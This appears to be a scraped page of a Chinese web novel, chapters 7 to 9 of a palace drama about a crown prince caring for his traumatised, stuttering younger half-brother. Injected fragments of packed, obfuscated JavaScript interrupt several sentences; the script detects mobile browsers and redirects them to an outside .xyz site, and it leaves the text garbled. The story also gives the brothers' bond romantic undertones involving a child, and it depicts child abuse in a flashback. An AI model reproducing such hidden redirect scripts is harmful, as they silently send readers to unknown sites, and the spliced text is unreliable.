到了午时,谢临沅停下步子,轻声问道:“玉阑饿了吗?” 谢玉阑揉了揉自己的肚子,点点头:“饿!” 谢临沅拉着谢玉阑走进了全京城最负盛名的酒楼中。 醉仙楼临窗的雅座,小二热情地擦着桌子:“两位公子看着面生,是外地来的?” 谢临沅给谢玉阑斟了杯茶水,没有否认:“带家弟出来见见世面。” “难怪呢!”小二打量着两人,“二位长得都跟画儿似的,就是不太像......” 谢临沅手上动作未停,夹了块去刺的鱼肉放进谢玉阑碗里:“一个随父亲,一个随母亲。” 这话倒也不算全假。 虽然谢临沅没有见过宁庶人,但也从孟九尘的口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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谢玉阑一回来就忙着给兔子试新衣裳,谢临沅则坐在书案前翻看今日买的书本。 “皇、皇兄!”谢玉阑抱着打扮好的兔子跑来,“好、好看吗?” 鹅黄小裙配着红绸项圈,兔耳朵上还别着那朵迷你绢花,像个小姑娘。 谢临沅忍着笑点头:“好看。” 谢玉阑却突然想起什么似的,认真问道:“兔、兔子是、是姑、姑娘...那皇、皇兄是、是男孩子还、还是女、女孩子?” 谢临沅放下书卷,突然伸手捏住他的脸颊:“你说呢?” 眼前人被捏得嘟起嘴,含混不清地说:“男、男孩子...” “所以?” “所、所以...”谢玉阑眼睛突然一亮,“可、可以和、和皇、皇兄成、成亲!” 这诡异的逻辑让谢临沅太阳穴直跳。他松开手,转而轻轻弹了下谢玉阑的额头:“兄弟之间,不谈婚嫁。” 谢玉阑失落地哦了一声,低头摆弄兔子裙子。 过了会儿又期期艾艾地问:“那、那要、要怎么样...才、才能和、和皇、皇兄成亲?” 谢临沅望进那双澄澈的眼睛,忽然意识到这不是孩童的玩笑话——谢玉阑是真心在困惑这个界限。 谢玉阑的前十年都和整个人世间脱节,没有性别之分,也不懂男女之情。 在他眼中,人的分类只有亲近的人和外人。 而谢临沅又和他解释成亲是象征着两个人要一辈子在一起,在稚童眼中,一辈子在一起这种事情只能发生在亲近的人之间。 在他眼中和皇兄成亲,象征的是要和皇兄一辈子在一起。 谢临沅认真和谢玉阑解释:“成亲是男子和女子的婚事,是要绵延子嗣的。不是任何两个人都可以成婚,父母之命媒妁之言,但玉阑不同,玉阑若互相喜爱的女子想同她度过余生,皇兄定是要让玉阑娶到心爱的女子的。” 谢玉阑皱着小脸:“可、可是玉、玉阑只想、想和、和皇、皇兄在、在一起一辈子。” 谢临沅知晓谢玉阑的思想一时半会是改变不了的,他也不急于一时,揉了揉谢玉阑的耳朵,承诺道:“就算不成亲,皇兄也会和玉阑在一起一辈子的。” 7. 捡到老婆第7天 清晨的窗沿垂露,卧房内,稚童正眼眸含泪地拉着眼前温润少年的衣角,声音委屈地说道:“皇、皇兄不、不要、要拿走兔、兔子。” 谢临沅敛眸,盯着眼前的人,谢玉阑的眼眶通红,看上去受了天大的委屈般。 他心下也有些不忍,但谢玉阑必须建立和常人一般的认知。 将兔子带去宫学陪着谢玉阑只会让谢玉阑分心。 小孩子总是对新奇的事物抱有强烈的新鲜感,谢玉阑自然也不例外。 “玉阑,只和皇兄一起去宫学不好吗?皇兄只想让玉阑陪着皇兄去宫学,好不好?”谢临沅蹲下身,将人搂进怀里问道。 谢玉阑听到皇兄这么一说,原本坚定着要带兔子去宫学的心开始摇摆起来。 谢临沅在对谢玉阑服软。 告诉谢玉阑自己只想和谢玉阑一起。 心中的天平摇摇晃晃,不停摆动,最后随着一声重响,谢玉阑还是做出了决定。 他往谢临沅怀中挤了挤,板着一张小脸无比认真说道:“那、那玉阑和、和皇、皇兄一、一起,不、不要兔、兔兔。” 谢临沅笑了起来,整个人如沐春风。他整理好谢玉阑的衣襟:“那皇兄便谢谢玉阑了。” 谢玉阑眼睛也弯成了月牙状:“免、免礼。” 他这句话也是在谢临沅这学的。 谢临沅倒没有被冒犯的感觉,只觉得谢玉阑可爱的紧,含笑开口:“遵旨。” 说罢便站起了身,领着谢玉阑往宫学走,兔子并没有留在宫中,而是被剪春抱在怀里,谢玉阑自顾自往前走着,也就没有发觉身后抱着兔子的剪春。 宫学里。 谢玉阑进度自然是赶不上自幼便在宫学的皇子贵女这些人的,谢临沅也没打算让谢玉阑跟着夫子的讲解走,而是亲自教谢玉阑,于是他便找夫子要了一间小房间单独和谢玉阑待着。 他从宽大的袖中拿出一本陈旧的弟子规,是他幼时用的,上面写了不少当时小谢临沅的批注。 谢临沅将书籍翻到第一页,摆到谢玉阑面前:“看这个。” 谢玉阑挪了挪身子,紧紧贴着谢临沅坐着,视线落在那本弟子规上。 他眼睛亮了一瞬,突然指向了某个地方:“看!” 谢临沅顺着谢玉阑指着的地方望去,就看见泛黄的纸张上残余着一点褪色的磨痕。 他对这道墨痕已经全然没有了印象。 却见谢玉阑的指尖贴上了磨痕,孩童瘦小的指腹竟和墨痕重合。 他听见谢玉阑稚嫩青涩的声音响起:“皇、皇兄可、可爱。” 谢临沅疑惑:“为何?” 谢玉阑见皇兄没有理解自己的意思,便举起小手握住谢临沅的一个指尖,拖着谢临沅的指尖往墨痕上靠:“皇、皇兄靠、靠着睡、睡着,把、把墨弄、弄上去、去了。” 谢临沅清楚自己从不会在看书时睡着,却根据谢玉阑的话幻想出了谢玉阑的样子。 若是谢玉阑自幼便在皇宫接受授课,想必定会举着书昏昏欲睡,小脑袋在桌前一点一点的。 然后等到被自己发现时就睁着一双大眼睛无辜说道:“皇兄,玉阑有在好好看书的。” 可想到谢玉阑的结巴,谢临沅心中的思绪便又上了一层楼。 他不知晓谢玉阑的结巴是天生的还是后天的。 但目前并不算特别严重,若是后天的,谢临沅打算等谢玉阑大些了再改回来。 按谢玉阑如今的性子,就算是现在改了,日后也说不定会复发。最好的法子便是趁着谢玉阑不大不小的时候改回来。 待日后他便为谢玉阑寻个太医来看。 “皇、皇兄,理、理玉阑。”一声呼唤抽回了谢临沅的思绪。 他垂头便见谢玉阑如他想象中的那样睁着一双大眼睛委屈屈看着自己。 看上去因为皇兄迟迟不回复自己的话感到伤心落寞。 谢临沅连忙抚上人的发顶,安抚道:“皇兄在想玉阑。” 谢玉阑的注意力很快便从墨痕转移到了谢临沅的话上,他连忙问道:“想玉、玉阑什、什么。” “在想玉阑为什么会结巴。”谢临沅说道。 正好也趁着这次谈话知晓谢玉阑知不知道自己是结巴。 可让谢临沅没想到的是,谢玉阑的反应并不是他所有想法中的任何一种。 在谢临沅说完话后的下一秒,谢玉阑原本被烈日晒在红润的小脸顿时发白,紧紧咬着自己的下唇摇着头,身子不停往后撤着,想要和谢临沅拉开距离。 谢临沅心下一惊,没想到自己这句话引得眼前人这般巨大的反应,连忙上前将人拥入怀中,掌心不断拍打着谢玉阑的后背,出声安抚道:“没事的。” 谢玉阑好像没有听见谢临沅说了些什么,身子剧烈发抖,脸色比那日谢临沅捡到的时候还惨白。 谢临沅懊恼自己说错了话,现在只能眼睁睁看着谢玉阑难受。 但他也知道了,谢玉阑的结巴定然不是天生的,而是有什么阴影后留下的。 那更加不能盲目治疗了,得知道谢玉阑的阴影究竟是什么。 与此同时,他听见谢玉阑口中嘟囔着什么,待谢临沅倾耳去听时却只听见了一句“错了”。 谢临沅的掌心按着谢玉阑的脑袋,让人埋进自己怀里,另一只手则是不停安抚谢玉阑的情绪。 “皇兄在,”谢临沅柔声开口,重复说道,“皇兄在。” 也不知道谢临沅重复了多久,谢玉阑的情绪也稳定一下。 他没什么肉的脸颊在谢临沅胸膛上蹭了蹭,声音止不住地抖,却还是喊道:“皇、皇兄。” “皇兄在。”谢临沅认真说道。 外面不知何时已经下起了大雨,雨声淅淅沥沥滴落在青砖瓦上。 整个宫学被雨雾笼罩。 而谢临沅怀中的谢玉阑整个人格外安静,他趴在谢临沅怀中静静呼吸着,过了几秒又喊道:“皇、皇兄。” “皇兄在。”谢临沅没有丝毫不耐。 若不是他方才的话,谢玉阑也不会这般难受。 “抱、抱。”谢玉阑低低说道。 谢临沅抱着谢玉阑的手紧了紧,将谢玉阑整个人圈入自己怀中,轻声安抚:“皇兄在,玉阑别怕。” 谢玉阑这才抬起头,那双黑瞳好似蒙着一层雾,在看向谢临沅时那层深不见底地雾才缓缓散去,露出孩童那双清亮的眼眸。 “玉、玉阑有、有皇、皇兄。”谢玉阑努力往谢临沅怀中挤着,似乎恨不得把整个人融入谢临沅的骨血中。 “嗯,玉阑有皇兄。” 谢玉阑情绪有这么大的波动,谢临沅也不愿让谢玉阑继续学下去,让在一旁候着的剪春将兔子拿给谢玉阑,打算带着谢玉阑回宫。 谢玉阑在看见兔子的那一刻心情好了不少,他轻轻抚摸着兔子额前的毛发,也不管兔子能不能听懂,对着兔子说道:“玉、玉阑,不、不怕。” 宫学的青石阶上还泛着潮湿的水光。 谢临沅带着谢玉阑刚踏入院门,便看见兵部尚书周显领着儿子周崇站在廊下,父子俩的衣袍上还沾着湿气,显然已等候多时。 谢临沅掩住眸下的思绪,想必是林轻听了孟九尘的话,吹了枕边风,皇帝今日在朝中警示了周显一番。 谢玉阑下意识往谢临沅身后缩了缩,手指攥紧了他的袖角。那只穿着鹅黄小裙的兔子被他抱在怀里,红眼睛警惕地转动着,仿佛也感受到了主人的不安。 “大殿下,”周显上前一步,拱手行礼,脸上堆着恰到好处的歉意,“犬子无知,昨日冒犯了八殿下,今日特地带他来赔罪。” 他说着,一把将周崇拽到前面。 周崇脸色铁青,嘴角绷得紧紧的,眼睛盯着地面,一副心不甘情不愿的模样。 “还不快道歉!”周显低声呵斥。 周崇磨蹭了一下,终于不情不愿地开口:“昨日...是我冒犯了小殿下,请小殿下恕罪。” 谢玉阑眨了眨眼,有些无措地看向谢临沅。 他天性纯善,见周崇被逼着低头,心里反倒有些不忍,刚想开口说无碍,却被谢临沅轻轻捏了下手心。 “周公子,”谢临沅声音不疾不徐,“你昨日做了什么,不妨自己说清楚。” 周崇猛地抬头,眼中闪过一丝恼怒。他张了张嘴,却在谢临沅平静的注视下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周崇明白过来周显话中的意思:“爹的意思是...” 周显抬手制止他继续说下去:“所以你近日安分些,别再招惹那个傻子。” 宫殿中,谢玉阑抱着兔子,时不时偷瞄谢临沅。 “想问什么?”谢临沅翻着书卷,抬眸看向谢玉阑。 谢玉阑犹豫了一下,小声道:“周、周崇是不是...很讨厌我?” 谢临沅抬眸看他:“为何这么想?” “因、因为...”谢玉阑低头揪着兔子裙子上的花边,“他说、说我是、是傻子...还、还抢兔子...” 谢临沅放下书,伸手揉了揉他的发顶:“他若再敢欺负你,我就让他去扫马厩。” 谢玉阑想象了一下那个画面,忍不住噗嗤笑出声。 谢临沅看着他笑,忽然问:“昨日出宫,开心吗?” “开、开心!”谢玉阑用力点头,"糖、糖人好吃,兔、兔子衣服好看,酒楼的、的鱼也...” 他掰着手指细数,突然想到什么,声音低了下去,“就、就是不、不能和、和皇兄成、成亲...” 谢临沅失笑,伸手弹了下他的额头:“整日就惦记这个。” 谢玉阑捂着额头,委屈巴巴地看着他。 谢临沅被他看得心头微软,正想说什么,忽听外面传来急促的脚步声。 孟九尘匆匆进来,附在谢临沅耳边低语几句。 谢临沅面色微变,起身道:“父皇召见,我去去就回。” 谢玉阑乖乖点头,抱着兔子坐回自己的位置。 谢临沅临走前回头看了一眼,就见谢玉阑正低头对兔子小声说话,阳光透过窗棂洒在他身上,镀了一层毛茸茸的金边。 御书房内,皇帝正在批阅奏折,见谢临沅进来,直接开门见山:“临沅,你倒是帮了父皇一个好忙。” 皇帝的语气听不出来好坏,还没等他揣摩圣意,就听见皇帝继续说道:“自从小八那孩子从冷宫出来后,北疆近来频传大捷,解了父皇的燃眉之急啊!” 8. 捡到老婆第8天 谢临沅神色从容地回道:“儿臣恭喜父皇。” 他确实没想到北疆战事如此焦灼,近来竟有转好之象。 青龙盘柱只是他编纂出来为了将谢玉阑留在身边的理由,如今却因为北疆战事频频大捷做实。 想必在皇帝心中谢玉阑已经有了份量。 皇帝问谢临沅:“你说我赏小八什么好呢?临沅,他可有喜欢的东西?” “父皇赏的,玉阑便都喜欢。”谢临沅沉着开口。 皇帝大笑起来,用力拍了几下手,对站在身侧的太监说道:“来福,把朕宫中珍藏的用春水玉雕琢的玉佩赏给八殿下。” “喏。”太监应道。 须臾,太监便拿出一个镶着金边的金丝楠木盒,走到谢临沅面前打开。 甫一打开,入目便是温润盈透的春水玉佩。 这枚春水玉玉佩约莫掌心大小,质地是上等的和田青玉,玉色如初融的湖水,青中透着一抹烟灰,玉体半透明处似凝着一层薄雾。玉佩整体雕作弧形,边缘打磨得圆润如卵石。 宫殿内的光照照在玉上时,玉中若隐若现的絮状纹理竟似流动的春波,恍若有一瞬带着杏花微雨的风。 太监给谢临沅看了以后,便将木盒合上,双手呈给谢临沅:“大殿下。” 谢临沅微微颔首,接过木盒,对坐在上方的皇帝说道:“儿臣代玉阑多谢父皇。” 谢临沅刚踏出殿外,就瞧见了林轻身侧的贴身宫女,那宫女见他出来,立马迎了上来,行礼说道:“殿下,皇后娘娘有事寻见。” 谢临沅将手中的木盒收进袖中,温声回道:“好。” 婢女一路引着谢临沅走到椒房殿门口,适时停下脚步:“殿下,皇后娘娘就在里面。” “嗯。”谢临沅推开门。 刚进去,门就被宫女关上,房中只剩下林轻和谢临沅两人。 林轻纤细的指尖拿着茶盖,在杯口滑动了几下,随后拿起茶杯轻抿了一口。 也不知过了多久,林轻才缓缓开口:“你对宁月然那女人的孩子还真上心。” 谢临沅垂眸:“玉阑是儿臣的皇弟,儿臣理应照顾。” 林轻轻笑一声,没有和亲生儿子打哑谜的心思:“沅儿,你知晓母后不是这个意思。” 谢临沅没吭声。 林轻清楚自己儿子是什么个性,扮猪吃老虎久了总不可能真从小狐狸成了猪,她像是讲故事一般娓娓道来:“宁月然这个女人,十年前吃的亏就是太过单纯。” 谢临沅微微一怔。 他没想到林轻会用这句话开口。 “深宫之中,本宫从未见过她这种女人。” “空有一张漂亮年轻的脸蛋,心却纯净地可怕。” 林轻不知想到了什么,神色竟落寞了一瞬,却很快恢复正常。 “她这种人,就该嫁个状元郎当正妻,而不是来这不见天日的皇宫。” 谢临沅提醒道:“母后。” 林轻笑出了声,她知晓谢临沅是怕今日的话传入皇帝耳中,毕竟宁月然到死也终究是皇帝的妃子。 “本宫第一次见到宁月然,就觉得她不适合后宫,奈何圣上喜欢,本宫也没有办法。” “正如本宫所料,她进宫后得宠的厉害,父亲只是一个从六品,正适合当个小雀儿,”林轻喝了口茶润润喉,继续说道,“她不和任何妃子结交,那些妃子试图讨好她也没用,在背后议论她她也不在乎。” “只有本宫,送了一副画,她收下了。” 谢临沅抬头,说道:“宁庶人和母后....” “想什么呢?”林轻起身,走到谢临沅身侧,轻弹了一下谢临沅的额头。 “只是因为那副画,是如今的内阁首辅沈青檀,也就是十年前科考的状元郎所画。” 谢临沅知道林轻不会平白无故和自己说这番话,她定然有自己想要表达的看法。 “你说,一个被迫入宫、不和任何妃子结交、对皇帝没有任何感情、心思单纯,甚至在心中有了其他人的女子,怎么会去陷害一个女人流产呢?” 林轻坐会了贵妃椅上,话毕也不再说任何话了。 谢临沅知晓林轻是在等自己开口。 “母后的意思是,当年之事有蹊跷。” 林轻微微颔首,她又恢复了平日懒散的样子:“不是蹊跷,是十年前的事是捏造的。” 谢临沅很快明白了林轻话中的含义。 “沈贵妃当时没有怀孕?”谢临沅皱眉,说道。 林轻笑了。 她就知道她的儿子聪明。 “怀孕为假,流产为假,巫蛊之术亦为假,只有沈梦惜对宁月然的嫉妒之心为真。她恨宁月然轻而易举夺走了皇帝的恩宠。在这宫中,她对皇帝的喜欢本宫一直都看着。” “本宫看不起她们二人,”林轻淡淡开口,“一个以为皇帝有真情,一个竟让自己死在冷宫。” 谢临沅垂眸,对最后一句话没有什么反应:“母后是有证据吗?” “没有,”林轻整理着自己的衣襟,“不过沈梦惜的小动作本宫都看见眼中,她瞒不过我。” 谢临沅低头附和道:“母后英明。” 林轻单手撑着脸颊,似乎想起了什么:“你父皇给宁月然的儿子赏赐了什么?” “母后怎么知道的?” “你编的话成了真,你父皇自然要赏赐点大功臣什么东西。” 谢临沅指尖收紧,他没想到林轻竟然看出了那是自己的借口。 “你倒是随了我,就喜欢长的俊俏的男子...”林轻感慨道。 谢临沅打断了林轻未说完的话,回答了林轻的问话:“父皇赏赐了皇弟一块春水玉雕琢的玉佩。” “知道了,回去吧,别让你最近的心肝儿等急了。”林轻挥挥手。 谢临沅回去的路上都在想林轻今日为什么要和自己说这些。 一瞬间,他想通了。 他今年已经十五了,皇帝却还未设立储君,如果不出意外太子之位便是自己的了。 林轻今日之话,是在防患于未然,以防日后沈贵妃膝下的三皇子和五皇子夺嫡。 想通了以后,谢临沅也不在琢磨这件事了,只是又想起了谢玉阑。 心又开始心疼起来。 另一边,谢玉阑的情况不算好。 谢临沅走后,谢玉阑就乖乖坐在院中的石桌上和兔子玩。 他掌心摊着菜叶子,小声说道:“兔、兔兔吃。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172053|180726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>穿着鹅黄小裙的兔子看见白皙掌心的翠绿菜叶,低着头吃了起来。 兔子的小嘴一下一下点在谢玉阑掌心,谢玉阑被弄得掌心发痒,咯咯笑着。 一片菜叶很快就被兔子吃完了,谢玉阑抬起小脸对站在一旁的剪春说道:“姐、姐姐,菜、菜叶。” “好。“剪春对谢玉阑喜爱的紧,这么可爱的孩子谁都会喜欢的。 她刚拿出一片菜叶,就听见宫门被推开的声音,她以为是谢临沅回来了,转身行礼:“大..” 她一抬头,就看见穿着一身深红色长裙的沈贵妃。 “贵妃娘娘安。”剪春连忙改口。 “起来吧。”沈贵妃并没有看剪春,而是将视线直直落在了谢玉阑身上。 她径直走到谢玉阑身侧,带着护甲的指尖直直拎起了那只雪白的兔子,陷入了兔子的肉中。 兔子疼的嘤咛出声。 谢玉阑眼睁睁看着兔子在自己眼前消失,出现在一双带着金鎏护甲的手中。 他看看剪春,见剪春没有反应,急的都要哭出来了,站起身举起手想要去拿兔子:“兔、兔子。” 沈梦惜嗤笑一声,拎着兔子在谢玉阑眼前晃了晃,问道:“你就是宁月然那个狐媚子的儿子?” 谢玉阑听见母妃的名字,怔怔抬眼,望向站在自己面前的女人,竟和多年前那张脸渐渐重合。 他脸色瞬间就变得惨白,不自觉往后退了几步,后背直直撞在树上,却好像丝毫没有感觉到疼痛。 “不、不要...”谢玉阑猛地摇头,蹲下身子,整个人蜷缩起来。 沈梦惜眉头紧锁,不知道眼前的小孩怎么突然变成了这样。 她放下手中的兔子,冷哼道:“别以为你从冷宫出来就有救了,宁月然死了,谢临沅能护你多久?林轻又能有多喜欢你?更别说圣上了。” 谢玉阑没有听进去任何一句话,满脑子都是多年前那张扭曲的脸。 没有丝毫伤口的血肉还是狠狠作痛,一切仿佛回到了多年前,穿着绿色襦裙的女人掐着自己的脖子,呼吸几乎被掠夺,谢玉阑却依旧能听见那女人尖锐的声音:“说!你错了没有?!” 谢玉阑猛烈摇着头,口中不停重复着一句话:“我没错...” 那女人手下的力道却愈发得大:“你错了没有?” 窒息的感觉贯穿谢玉阑的胸膛,他猛烈咳着,看向阴暗角落被下人压着头往水里灌的母妃,终于开口:“我、我错咳咳、错了。” 剪春见谢玉阑情况不对,连忙上前对沈梦惜说道:“贵妃娘娘,将兔儿给奴婢吧。” 沈梦惜不知道这傻子怎么突然就这样了,嫌晦气般地把兔子扔给了剪春。 剪春上前,想要把谢玉阑抱起来:“小殿下,兔子回来了。” 向谢玉阑伸去的手却被迅速躲掉。 谢临沅回来时看见的就是这番场景。 谢玉阑整个人蹲在树下发抖,而剪春抱着兔子安抚。 剪春察觉到谢临沅回来了,连忙上前解释道:“方才贵妃娘娘来了,不知为何小殿下就这般了。” 谢临沅上前,蹲在谢玉阑跟前,便发现谢玉阑这状态和今日在学堂自己问及为何结巴时的反应一模一样。 9. 捡到老婆第9天 停歇在枝头的云雀静悄悄地飞走,只留下一片绿叶缓缓飘落,落在谢临沅眼前。 整个北宫寂寥无声,只余下谢玉阑颤抖的身体。 苦涩难以呼吸的情绪占据了他的大脑,连谢临沅和剪春的对话都没有听清。 他整个人不知所措,不知道该合上眼还是闭紧眼。 只因无论哪种选择,谢玉阑的眼前都会浮现当年的场景。 他想往后退,却彻底退无可退,后背重重摩擦到干燥的树皮上。光滑细密的布料被磨破,撕扯声在安谧的环境中格外清晰。 谢临沅也才十五岁,第一次遇见这种情况,他再怎么冷静从容多少也手足无措。 少年的手悬在空中,不知该不该下手安抚。 无他,谢玉阑的情绪明显比早晨更糟糕,他也不知晓自己安抚了究竟会让事态变成怎样。 就在谢临沅思索间,谢玉阑再次自虐般地往后挤去,可他身后根本没有空间,只有硬邦邦又干燥的树干,这样下去迟早弄伤。 谢临沅伸手将人搂入怀中,拉开了谢玉阑和树干的距离。 突然被人接触,谢玉阑心慌了一瞬,头死死低着,双手用力推着那人的胸膛。却因为恐惧,手臂根本使不上什么力气,软绵绵地搭在谢临沅的身上。 谢临沅一只手抓住谢玉阑的两只手腕,强硬地把人往自己怀里搂,同时柔声安抚道:“是皇兄。” 可谢玉阑此时此刻压根听不见旁人的话,他只知道自己又被人抓住了,一心只想挣脱。 谢临沅不敢用力,怕怀中的人被弄伤,他站起身,对剪春说道:“回殿中。” 他将谢玉阑的脑袋按在自己肩头,揉了揉怀里人的头发。 许是察觉到了熟悉的怀抱,谢玉阑挣扎的力度小了不少,但身子依旧颤抖着。 眼前是模糊的,大脑是钝痛的,周围的一切都是模糊的,只有一个温热的拥抱让谢玉阑找回了些许安全感。 可他不知道这是不是自己被掐死前的黄粱之梦。 直到脸颊突然被人捧起,模糊的视线中出现一张如清光照雪的面容。清楚、特别。 谢玉阑眨眨眼,一时不知道眼前的场景是不是真实的。 娘亲曾经说过,人在死前总是会幻想一些自己不曾拥有的东西。 谢玉阑想,他好像除了娘亲什么都没有。 “玉阑,看着皇兄。” 那声音低沉而舒缓,像一泓月下的山泉,不急不缓地流淌,每个字都轻轻敲在心上。 谢玉阑飘远的深思缓慢地收束回来,他好像并没有听见谢临沅的话,只是动作呆愣地用掌心贴上谢临沅的脸颊。 下一秒,他就好像被谢临沅的肌肤烫到了般,快速收回了手。 “皇、皇兄。”谢玉阑愣愣道。 “皇兄在。”谢临沅眉眼如新雪映着晨光,他揉了揉谢玉阑的脸颊。 谢玉阑这才发觉自己被放在床榻上,谢临沅则是坐在床榻的边缘,眉目温柔地看着他。 下一瞬,谢玉阑猛地扑进谢临沅的怀里。 却因为背后的擦伤扯动,谢玉阑整个人发出了一声微弱的嘤咛,快速蜷缩进了谢临沅的怀中,他举起手,扯着谢临沅的衣襟,撒娇道:“痛...” 谢临沅垂眸,打量起谢玉阑此刻的状态,谢玉阑本就生的白,刚刚怛然失色,就更白了。 眼眸含泪,微颤漆黑的睫毛像蝴蝶振翅。但好在知道找皇兄了。 比方才那股丢了魂的样子好了不少。 “皇兄看看。”谢临沅说道。 谢玉阑乖乖从谢临沅怀中抽身,背过身子给谢临沅看。 这一看,谢临沅才发现衣服已经被谢玉阑先前巨大的后撤动作彻底撕烂,原本白皙干净的后背上泛着红血丝。 “剪春,把药膏拿来,再给小殿下拿身新衣裳。”谢临沅吩咐道。 “喏。” 剪春拿来的药膏是上次孟九尘去太医院重新要的,虽然凉,但比那方深绿刺激的药膏好了不少。 谢临沅把谢玉阑的上衣褪下,指腹沾取少许透明的药膏,往泛红的伤处上抹。 药膏散发着草木的甘凉,凉意直透鼻息,叫人神思一凛。却转瞬消散在空气中,只余指尖一抹沁骨的凉。 掺着凉意的药膏浸入破皮的伤口,谢玉阑发出一声轻嘶,手指下意识往后伸,扯住了谢临沅的衣角。 “疼?”谢临沅动作放轻,问道。 谢玉阑慢吞吞回道:“嗯...” “皇兄轻点,”谢临沅把另一只空着的手臂伸到谢玉阑跟前,“疼就抓皇兄的手臂。” 谢玉阑乖乖用手抓住谢临沅的手臂,却舍不得让皇兄也承受和自己的痛,依旧抓着谢临沅的衣角。 在他的意识里,痛是很惨很惨的人也会拥有的感觉。 他不想皇兄变成很惨很惨的人。 他的皇兄是全天下最最最好的人。 这方药膏被吸收得很快,也不容易被衣料沾染,谢临沅担心谢玉阑着凉,抹完药就给人套上了衣服。 刚套上衣服,就怀中就多出了一个小人影。 谢临沅垂眸,就见谢玉阑睁着双剪水眼瞳盯着自己。 都说孩童的情绪最易探查,谢临沅先前从未信过。 他那些皇弟,从小心思就深不可测,谢临沅也是在谢玉阑身上才体会到了有个弟弟的感觉。 可谢玉阑也和那些皇弟不同,就比如现在,谢玉阑整个人未语意先流,谢临沅几乎立马就知道了谢玉阑想说些什么。 果不其然,只一息谢临沅便听见谢玉阑如玉石轻落瓷盘脆生生的声音:“皇、皇兄好!” 谢临沅伸手揉上谢玉阑的脸颊,不到一秒却被人严肃扯了下来。 谢玉阑整个人趴在谢临沅怀中,像平常皇兄捧着自己的脸颊一般,举高手贴上少年的脸颊,慢吞吞却无比认真地说道:“皇兄是、是...” 他皱紧眉,放下手捏住自己的两腮,屏息片刻再度开口:“皇、皇兄...” 他越说越急,眼眶中泪水都急了出来。 “皇、皇、皇...” 谢玉阑挫败地闭上嘴,不再说话了。 看着这一幕的谢临沅喉咙发紧,他把谢玉阑搂入怀中:“皇兄知道玉阑要说什么。” 谢玉阑眼眶发酸,头一次这么讨厌自己的结巴,大颗大颗地掉落,洇湿了谢临沅的衣襟。 “不哭。”谢临沅用指腹抹去谢玉阑脸颊上滑落的泪水。 “皇、皇兄不、不知道。”谢玉阑磕磕绊绊地说道,说完后就把脸埋进了谢临沅胸膛。 “那皇兄不知道,玉阑告诉皇兄好不好?” “不、不。玉阑说、说不、不好。”谢玉阑委屈拒绝。 “皇兄不嫌弃玉阑的,我们玉阑以后肯定会好的。”谢临沅把谢玉阑的脑袋从自己怀中抬起,认真说道。 谢玉阑却没有因为谢临沅的话得到安慰,他摇摇头:“可不、不是现、现在。” 知晓谢玉阑和自己的结巴杠上了,谢临沅的心头浮上一股酸涩。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172054|180726||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谢玉阑是他同父异母的皇弟,他自然也心疼。 他其他的皇弟都在母妃的疼爱下长大,在雕甍绣槛的皇宫长大。而谢玉阑从出生起,面对的只有冷落萧条的冷宫。甚至在谢临沅不知道的时候被欺负,患上了结巴。 一想到此,谢临沅便心疼。 这是他前十五年从未有过的情绪。 “没事的,玉阑慢慢说,肯定能说完整的,皇兄听着。”谢临沅换了个话头,重新说道。 眼前人垂下眸子,似乎陷入了思考。 也不知过了多久,谢玉阑扯了扯自己两边的脸颊,抬眸全神贯注盯着谢临沅的脸,声如蜗篆音若拖丝:“皇...兄...” 似乎察觉到了自己又要卡住,谢玉阑顿住了。 再次开口更加缓慢,如蚁磨枯砚:“是..全天..下最最...好..的人。” 一口气说完,谢玉阑几乎喘不上气,他小口张着唇,快速汲取着空气。 谢临沅等谢玉阑喘过气来,才弯着眸子认真回应道:“玉阑是皇兄在天底下最最喜欢的人。” 稚子之心,昆山片玉。 于他而言,谢玉阑有着天底下最真诚的心,是鲜少有人能有的。饶是谢临沅自己,也不保证自己如此真诚。 在这偌大的深宫中,谁人都披上了一层虚伪的面具,而谢玉阑却是没有的。 他稚嫩、真诚,将一颗真挚的心全部奉献给了对他好的人。 任谁都会喜欢这种人的。 就算是他母后,也在看见谢玉阑后,将那串说着要送给他日后的亲生弟弟或妹妹的长生锁送给了谢玉阑。 谢玉阑不知道谢临沅再想些什么,却在听见谢临沅话的瞬间笑了起来。 谢临沅收回思绪的那刹那就看见谢玉阑笑从双靥生。 孩童的眼角微弯如新月,眸中水光潋滟,似有星子摇落。 谢玉阑的脸颊撞上谢临沅的,用力在上面蹭了几下:“玉、玉阑也、也最、最喜欢皇、皇兄。” 他的力气脆生生地大,撞得谢临沅的身子都晃了晃。 林轻进来时看见的就是这一幕,他的儿子笑得声如青竹乍折,清朗透水,怀里抱着那个捡回来的孩子,两人分外亲密。 她抬手,拦住剪春想要禀告自己来的心思。 